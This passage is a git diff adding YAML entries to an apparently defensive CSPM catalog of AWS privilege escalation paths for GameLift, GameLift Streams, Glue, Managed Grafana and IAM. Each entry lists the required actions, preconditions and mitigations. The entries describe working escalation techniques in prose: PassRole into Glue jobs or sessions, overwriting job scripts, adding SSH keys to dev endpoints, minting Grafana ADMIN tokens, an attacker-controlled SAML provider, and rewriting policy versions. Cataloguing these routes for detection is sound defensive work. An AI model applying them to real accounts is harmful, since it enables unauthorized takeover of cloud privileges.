a/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml new file mode 100644 index 0000000000..3e20ab061c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml @@ -0,0 +1,76 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon GameLift Servers privilege escalation techniques. +# Source: hacktricks-cloud aws-gamelift/README.md (rev 171e422299). + +- id: aws-gamelift-getcomputeaccess-shared-fleet-role + provider: aws + service: gamelift + title: Open an EC2 fleet host with a shared instance role credentials file + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#managed-compute-shell-with-gameliftgetcomputeaccess + source_revision: 88f850c6d4 + summary: The source can open a shell on an active managed EC2 fleet compute where the exact instance role is exposed through a shared credentials file. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: gamelift:GetComputeAccess + target: + kind: aws_role + scope: same_account + aggregate_as: "Instance roles on active GameLift EC2 fleets reachable through a shared credentials file in {account}" + outcome: impersonation + preconditions: + - gamelift_existing_shared_fleet_role_shell + conditions: + - id: readable_shared_credentials + description: The Session Manager shell must be able to read the fleet's shared role credentials file while the compute remains active. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit GetComputeAccess on fleets with shared instance role credentials to operators who need host access, and keep the fleet role narrowly scoped. + references: + - https://docs.aws.amazon.com/gameliftservers/latest/apireference/API_GetComputeAccess.html + - https://docs.aws.amazon.com/gameliftservers/latest/developerguide/gamelift-sdk-server-resources.html + notes: The evaluator joins the exact fleet InstanceRoleArn and SHARED_CREDENTIAL_FILE setting to an active listed compute and checks GetComputeAccess on the accountful fleet IAM resource ARN. It never requests the shell token or reads the role credentials. Default SDK credential flow and container fleets are outside this entry. + +- id: aws-gamelift-passrole-createfleet + provider: aws + service: gamelift + title: Create a GameLift EC2 fleet with a controlled build and passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 3b6983e5a8 + summary: The source can create and upload a game build, run it on a new EC2 fleet, and use the exact passable fleet instance role. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: gamelift.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: gamelift.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting gamelift.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - gamelift_new_controlled_build_fleet_role + conditions: + - id: controlled_build + description: The source must upload a runnable server build using the credentials returned by CreateBuild and the new EC2 fleet must run that build. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on GameLift instance roles and CreateBuild/CreateFleet to approved build pipelines. + references: + - https://docs.aws.amazon.com/gamelift/latest/developerguide/setting-up-role.html + - https://docs.aws.amazon.com/gamelift/latest/apireference/API_CreateFleet.html + - https://docs.aws.amazon.com/gameliftservers/latest/apireference/API_CreateBuild.html + notes: CreateBuild without StorageLocation returns initial upload credentials, so RequestUploadCredentials is needed only to refresh them. The evaluator joins CreateBuild and CreateFleet grants in one Region. Existing builds, scripts and container fleets need a separate controlled-artifact proof and remain unresolved. CreateGameServerGroup is excluded separately because its role manages FleetIQ rather than instance code. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml new file mode 100644 index 0000000000..3c9167ce95 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml @@ -0,0 +1,81 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon GameLift Streams privilege escalation techniques. +# Source: hacktricks-cloud aws-gamelift-streams-privesc/README.md (rev 171e422299). +# Session roles must trust gameliftstreams.amazonaws.com and be named GameLiftStreams-* (StartStreamSession API reference). + +- id: aws-gameliftstreams-createstreamsessionadminshell + provider: aws + service: gameliftstreams + title: Open a role-bearing live stream session through its admin shell + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamscreatestreamsessionadminshell-on-a-session-with-a-role + source_revision: bbe766aa6f + summary: The source can enter a live stream session that already holds a different IAM role when CreateStreamSessionAdminShell covers that session's parent stream group. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: gameliftstreams:CreateStreamSessionAdminShell + resource: "*" + target: + kind: aws_role + selector: + name_prefix: GameLiftStreams- + scope: same_account + outcome: impersonation + aggregate_as: "Roles in live GameLift Streams sessions reachable by admin shell in {account}" + preconditions: + - gameliftstreams_live_role_session_admin_shell + conditions: + - id: live_session + description: The parent stream group must be ACTIVE and the role-bearing session must still be live when the shell is opened. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict CreateStreamSessionAdminShell to trusted operators on exact stream groups and limit session-role permissions. + references: + - https://docs.aws.amazon.com/gameliftstreams/latest/developerguide/troubleshoot-admin-shell-guide.html + - https://docs.aws.amazon.com/gameliftstreams/latest/apireference/API_ListStreamSessions.html + notes: The parent stream group and RoleArn come from the same listed live session. This route does not need PassRole because the role was attached before the shell was opened. + +- id: aws-gameliftstreams-passrole-startstreamsession + provider: aws + service: gameliftstreams + title: Start a stream session of a controlled application with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamsstartstreamsession--iampassrole-with-attacker-controlled-application-code + source_revision: 171e422299 + summary: The source may perform a useful action under a passable GameLiftStreams-* session role when controlled application code executes in a compatible stream group. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: iam:PassRole + any_of: + - - action: gameliftstreams:StartStreamSession + - - action: gameliftstreams:CreateStreamUrl + target: + kind: aws_role + selector: + trust_allows_service: gameliftstreams.amazonaws.com + name_prefix: GameLiftStreams- + scope: same_account + aggregate_as: "GameLiftStreams-* roles passable in {account}" + outcome: workload_execution + preconditions: + - gameliftstreams_controlled_application_role_session + conditions: + - id: controlled_application + description: An application whose content the source controls must be associated with an active stream group with capacity (creating or associating one needs further GameLift Streams and S3 permissions). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on GameLiftStreams-* roles to the session backend and restrict who can create or update applications. + references: + - https://docs.aws.amazon.com/gameliftstreams/latest/apireference/API_StartStreamSession.html + notes: StartStreamSession is authorized on the exact stream group with gameliftstreams:RoleArn in request context. CreateStreamUrl additionally needs permission on both the stream group and application and depends on StartStreamSession. PassRole must allow gameliftstreams.amazonaws.com for the exact target role. A concrete route requires fresh reviewed evidence that an ACTIVE group supports session credentials, has capacity, contains a READY application controlled by the source, and that an accepted session ran the code and performed a useful role action unavailable directly to the caller. Groups created before session-credential support stay unresolved. CreateStreamUrl is a supported IAM action in the current AWS Service Authorization Reference. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml new file mode 100644 index 0000000000..af3148b50e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml @@ -0,0 +1,302 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Glue privilege escalation techniques. +# Source: hacktricks-cloud aws-glue-privesc/README.md (rev a53b46392c; re-pointed to rev 171e422299). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-glue-passrole-createdevendpoint + provider: aws + service: glue + title: Create a Glue development endpoint with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-a-legacy-development-endpoint-with-a-privileged-role + source_revision: 171e422299 + summary: The source can create a public Glue development endpoint with an SSH key it controls, read its address and use a passable execution role. + requires: + all_of: + - action: glue:CreateDevEndpoint + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - glue_new_public_dev_endpoint_role + conditions: + - id: dev_endpoint_availability + description: A complete Glue endpoint read must show that the chosen Region and account still support the legacy endpoint API, and a new endpoint name is available. + - id: public_ssh_path + description: The source can create a non-VPC endpoint with its SSH public key, and GetDevEndpoint on the new endpoint or GetDevEndpoints on the account lets it read the public address after provisioning. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService=glue.amazonaws.com and deny glue:CreateDevEndpoint. + references: + - https://docs.aws.amazon.com/glue/latest/dg/development.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_GetDevEndpoints.html + notes: The evaluator checks CreateDevEndpoint on *, one unused endpoint name, a matching endpoint read permission and exact iam:PassRole. It excludes recorded disabled or unsupported Region/account states; provisioning, quotas and SSH connectivity remain conditional. + +- id: aws-glue-updatedevendpoint + provider: aws + service: glue + title: Add an SSH key to an existing Glue development endpoint + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#replace-the-ssh-key-on-a-legacy-development-endpoint + source_revision: 171e422299 + summary: The source may use the role of an existing Glue development endpoint after adding an SSH key it controls. + requires: + all_of: + - action: glue:UpdateDevEndpoint + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: glue_dev_endpoint + scope: same_account + aggregate_as: "Execution roles of accessible Glue development endpoints in {account}" + outcome: workload_execution + preconditions: + - glue_existing_dev_endpoint_ssh_access + conditions: + - id: ssh_reachability + description: The recorded public address may still be blocked by network controls outside the IAM policy model. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict glue:UpdateDevEndpoint to endpoint administrators and keep development endpoint roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_UpdateDevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_DevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/dg/glue-specifying-resource-arns.html + notes: The endpoint must be READY, have a public address and a free managed SSH-key slot. Private endpoints and legacy single-key configurations need separate reachability or key-change evidence. + +- id: aws-glue-startjobrun-override-script + provider: aws + service: glue + title: Run an existing Glue job overriding its script or dependency arguments + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the execution role of existing Glue jobs it can start directly or through a trigger it creates with overriding arguments. + requires: + any_of: + - - action: glue:StartJobRun + resource: "{target.resource_arn}" + - - action: glue:CreateTrigger + resource: "arn:{source.partition}:glue:*:{target.account}:trigger/*" + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: Execution roles of Glue jobs startable in {account} + outcome: workload_execution + preconditions: + - glue_job_override_arguments_available + conditions: + - id: job_role_reads_attacker_object + description: The job role must be able to read an S3 location whose content the source controls (its own public/cross-account bucket or a writable bucket the role can read). + - id: runtime_packaging + description: Dependency override format depends on job type/runtime. + - id: trigger_fires + description: The CreateTrigger variant needs a scheduled or conditional trigger created as started, or glue:StartTrigger for an on-demand trigger; trigger actions carry the overriding job arguments. + blockers: + - glue_nonoverridable_arguments + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Pin script and executable dependency arguments, including --python-virtual-env, in NonOverridableArguments and restrict glue:StartJobRun and glue:CreateTrigger to orchestrators. + references: + - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-programming-etl-glue-arguments.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateTrigger.html + notes: The evaluator requires an unpinned --scriptLocation, StartJobRun on the exact job or a creatable scheduled trigger, and one concrete S3 script object the source can PutObject and the target role can GetObject. The object may differ from the job's configured script. Its bucket and default encryption must be collected; SSE-KMS and uncollected bucket settings remain unresolved without stronger evidence. Other dependency override formats still need reviewed execution evidence. Creating a trigger for an existing job does not itself require iam:PassRole. + + +- id: aws-glue-overwrite-existing-job-script + provider: aws + service: glue + title: Replace the script read by an existing Glue job + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#replace-the-script-of-an-existing-glue-job + source_revision: f6c5b04636 + summary: The source may run its code under an existing Glue job role by replacing the exact S3 script object used by that job and causing the job to run. + requires: + all_of: + - action: s3:PutObject + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: Execution roles of Glue jobs whose exact script object is writable and runnable in {account} + outcome: workload_execution + preconditions: + - glue_existing_job_script_object_writable_and_runnable + conditions: + - id: object_replacement_and_run + description: The exact S3 script object must accept the replacement and the job must subsequently load it. A non-overridable --scriptLocation or scheduled trigger action that redirects the script leaves the route unresolved. + - id: scheduled_run + description: The scheduled-trigger variant requires the recorded active schedule to fire after the object replacement. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit write access to Glue job script objects to trusted deployment identities and restrict who can start jobs that use privileged roles. + references: + - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-api-jobs-job.html + - https://docs.aws.amazon.com/glue/latest/dg/edit-nodes-script.html + notes: The evaluator joins Command.ScriptLocation, the same job's role, exact s3:PutObject and role s3:GetObject permissions, and StartJobRun or an active scheduled trigger. The script bucket and default encryption must be collected; SSE-KMS needs stronger evidence. A direct StartJobRun can explicitly select the recorded script URI only when --scriptLocation is not non-overridable; a scheduled run also needs collected job defaults and trigger action arguments without a script redirect. It never infers a role edge from a generic writable bucket or a different job. + +- id: aws-glue-passrole-createjob-or-updatejob-run + provider: aws + service: glue + title: Create or update a Glue job with a passed role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting glue.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - glue_job_role_and_execution_bind + conditions: + - id: script_location_readable + description: The passed role must be able to read the script location the source supplies. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: updatejob_existing_job + description: The UpdateJob variants need an existing job within the UpdateJob Resource. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService, and restrict job creation/update and trigger creation to the deployment pipeline. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateJob.html + notes: The machine precondition checks a creatable unused job or an existing updateable job and StartJobRun on that same job, or a creatable trigger in its Region. It binds exact Glue PassRole and one concrete S3 script object the source can PutObject and the passed role can GetObject. The script may differ from existing job definitions. Its bucket and default encryption must be collected; SSE-KMS and uncollected bucket settings need stronger evidence. A completed job run and useful role action remain conditional. + +- id: aws-glue-updatejob-existing-role + provider: aws + service: glue + title: Replace an existing Glue job definition that keeps its attached role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Glue jobs it can update. + requires: + all_of: + - action: glue:UpdateJob + resource: "{target.resource_arn}" + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: "Execution roles of Glue jobs updatable in {account}" + outcome: workload_execution + preconditions: + - glue_existing_job_has_runnable_trigger + conditions: + - id: job_runs_later + description: An active scheduled trigger or a source-startable on-demand trigger is linked to the exact job; the job runs only when that trigger fires. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict glue:UpdateJob to the deployment pipeline on specific job ARNs. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_UpdateJob.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_JobUpdate.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html + notes: JobUpdate requires Role and completely overwrites the prior definition, and the Service Authorization Reference lists iam:PassRole as a dependent action of glue:UpdateJob, so PassRole on the job's role is required. The evaluator joins a runnable trigger and one concrete S3 script object the source can PutObject and the attached role can GetObject. The script may differ from the job's configured script. Its bucket and default encryption must be collected; SSE-KMS and uncollected bucket settings need stronger evidence. Direct StartJobRun is covered by aws-glue-passrole-createjob-or-updatejob-run. + +- id: aws-glue-passrole-createsession + provider: aws + service: glue + title: Create a Glue interactive session with a passed role and run statements in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-an-interactive-session-with-a-privileged-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting glue.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - glue_new_session_with_statement + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: statement_output + description: Reading statement output needs glue:GetStatement; code still runs without it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService=glue.amazonaws.com, scope glue:CreateSession and glue:RunStatement to owner-tagged sessions, and keep session roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateSession.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_RunStatement.html + - https://docs.aws.amazon.com/glue/latest/dg/glue-is-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html + notes: Distinct from aws-glue-runstatement-interactive-session (existing session, no PassRole). CreateSession and RunStatement must cover the same unused session ID in one Region; the session may need time to become ready before code runs. + +- id: aws-glue-runstatement-interactive-session + provider: aws + service: glue + title: Run code in an existing Glue interactive session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#execute-code-in-an-existing-interactive-session + source_revision: 171e422299 + summary: The source can run code under the role attached to a ready Glue interactive session it can use. + requires: + all_of: + - action: glue:RunStatement + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: glue_session + scope: same_account + aggregate_as: "Execution roles of runnable Glue sessions in {account}" + outcome: workload_execution + preconditions: + - glue_existing_session_ready_for_statement + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict glue:RunStatement to sessions owned by the caller and keep their execution roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_RunStatement.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_Session.html + notes: The target role comes from the recorded session rather than a generic Glue service trust. The session must be READY and RunStatement must cover that exact session ARN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml new file mode 100644 index 0000000000..553fa7816f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml @@ -0,0 +1,145 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Managed Grafana application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-managed-grafana-privesc/README.md (rev 171e422299). +# Collected workspace summaries provide ARN, status and Grafana version. + +- id: aws-grafana-createworkspaceapikey-admin + provider: aws + service: grafana + title: Mint an ADMIN Grafana workspace API key + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanacreateworkspaceapikey--arbitrary-role-legacy-api-key + source_revision: 171e422299 + summary: The source can obtain Grafana ADMIN access to Managed Grafana workspaces by minting a legacy API key with a chosen role. + requires: + all_of: + - action: grafana:CreateWorkspaceApiKey + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:CreateWorkspaceApiKey + scope: same_account + aggregate_as: "Managed Grafana administrators in {account}" + grants: [Grafana ADMIN] + preconditions: + - grafana_api_key_workspace_eligible + conditions: + - id: legacy_api_keys_supported + description: Grafana versions before 12 support API keys through the AWS API; workspace network access controls still apply. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict grafana:CreateWorkspaceApiKey, migrate to service accounts and alert on ADMIN key creation. + notes: Grafana application administration (dashboards, alerts, data sources and their proxies); not IAM credentials. + +- id: aws-grafana-serviceaccounttoken-admin + provider: aws + service: grafana + title: Create a Grafana ADMIN service account and mint its token + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account + source_revision: 171e422299 + summary: The source can obtain Grafana ADMIN access to Managed Grafana workspaces by creating an ADMIN service account and minting a token for it. + requires: + all_of: + - action: grafana:CreateWorkspaceServiceAccount + resource: "{target.resource_arn}" + - action: grafana:CreateWorkspaceServiceAccountToken + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:CreateWorkspaceServiceAccountToken + scope: same_account + aggregate_as: "Managed Grafana administrators in {account}" + grants: [Grafana ADMIN] + preconditions: + - grafana_service_account_workspace_eligible + conditions: + - id: grafana_9_or_later + description: Service accounts require Grafana 9 or later; workspace network access controls still apply. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict grafana:CreateWorkspaceServiceAccount and CreateWorkspaceServiceAccountToken and inventory workspace service accounts and tokens. + notes: This creates a new ADMIN account and its token. Token vending for a recorded, enabled existing ADMIN account is modeled separately by aws-grafana-existing-admin-serviceaccount-token. + +- id: aws-grafana-updateworkspaceauthentication-saml-admin + provider: aws + service: grafana + title: Add an attacker-controlled SAML administrator to an existing Grafana workspace + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdateworkspaceauthentication--attacker-controlled-saml-idp + source_revision: b587e6bd26 + summary: The source can gain Grafana administrator access to a workspace through a SAML identity provider it controls. + requires: + all_of: + - action: grafana:UpdateWorkspaceAuthentication + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:UpdateWorkspaceAuthentication + scope: same_account + aggregate_as: Managed Grafana workspace administrators in {account} + outcome: application_admin + grants: [Grafana ADMIN] + preconditions: + - grafana_saml_workspace_active + conditions: + - id: saml_assertions + description: The source must control valid SAML metadata and assertions mapped to the workspace ADMIN role and be able to reach its endpoint. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict workspace authentication updates and alert on SAML metadata and administrator role-mapping changes. + references: + - https://docs.aws.amazon.com/grafana/latest/APIReference/API_UpdateWorkspaceAuthentication.html + notes: The grant is limited to Grafana's application plane and configured data sources; it does not issue IAM credentials. + +- id: aws-grafana-existing-admin-serviceaccount-token + provider: aws + service: grafana + title: Mint a token for an existing Grafana ADMIN service account + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account + source_revision: 171e422299 + summary: The source can obtain Grafana ADMIN API access by minting a token for an enabled ADMIN service account already present in one workspace. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: grafana:CreateWorkspaceServiceAccountToken + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:CreateWorkspaceServiceAccountToken + scope: same_account + aggregate_as: "Managed Grafana administrators in {account}" + outcome: application_admin + grants: [Grafana ADMIN] + preconditions: + - grafana_existing_admin_service_account_token_ready + conditions: + - id: existing_admin_account + description: An enabled ADMIN service account ID must be recorded for the exact ACTIVE workspace, and the caller must be able to create a token for that workspace. + - id: workspace_network_access + description: Grafana HTTP API access still depends on the workspace network controls. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict CreateWorkspaceServiceAccountToken to administrators and review token creation for existing ADMIN service accounts. + references: + - https://docs.aws.amazon.com/grafana/latest/APIReference/API_ListWorkspaceServiceAccounts.html + - https://docs.aws.amazon.com/grafana/latest/APIReference/API_CreateWorkspaceServiceAccountToken.html + notes: This grants the service account's Grafana application permissions, not AWS IAM credentials. A disabled, missing, non-ADMIN, or uncollected account cannot establish this route. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/greengrass.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/greengrass.yaml new file mode 100644 index 0000000000..1c1d146bf7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/greengrass.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS greengrass privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/healthomics.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/healthomics.yaml new file mode 100644 index 0000000000..e9f2263dd3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/healthomics.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS HealthOmics privilege escalation techniques. +# Source: hacktricks-cloud aws-healthomics-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml new file mode 100644 index 0000000000..023074346c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml @@ -0,0 +1,957 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IAM privilege escalation techniques. +# Source: hacktricks-cloud aws-iam-privesc/README.md. + +- id: aws-iam-createpolicyversion-self + provider: aws + service: iam + title: Create a new default version of a customer-managed policy attached to the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatepolicyversion + source_revision: 171e422299 + summary: The source can obtain administrator privileges by rewriting a customer-managed policy attached to itself (directly, via a group, or to its role). + requires: + all_of: + - action: iam:CreatePolicyVersion + resource: "{source.attached_policy_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_attached_policy_covered_by: iam:CreatePolicyVersion + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + - source_attached_policy_version_capacity + conditions: + - id: policy_version_limit + description: A managed policy holds at most 5 versions; when full, iam:DeletePolicyVersion on that policy is also needed. iam:SetDefaultPolicyVersion is NOT required (the set-as-default flag is part of CreatePolicyVersion). + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not grant iam:CreatePolicyVersion on policies attached to the same principal; scope it to specific policy ARNs owned by administrators and enforce permissions boundaries / SCPs that deny policy edits outside an admin path. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html + notes: Also lets the source edit any other covered policy; when the covered policy is attached to other principals those principals become admin too, but the edge drawn here is self-escalation of the source. AWS-managed policies cannot be versioned by customers. + +- id: aws-iam-setdefaultpolicyversion-self + provider: aws + service: iam + title: Switch the default version of a customer-managed policy attached to the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamsetdefaultpolicyversion + source_revision: 171e422299 + summary: The source can obtain the privileges of a more permissive stored version of a policy attached to itself. + requires: + all_of: + - action: iam:SetDefaultPolicyVersion + resource: "{source.attached_policy_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_attached_policy_covered_by: iam:SetDefaultPolicyVersion + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + - source_attached_admin_policy_version_exists + conditions: + - id: more_permissive_version_exists + description: Only escalates if a non-default version of a covered policy grants more (ideally admin) permissions than the current default; the evaluator should compare stored policy versions. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Delete obsolete 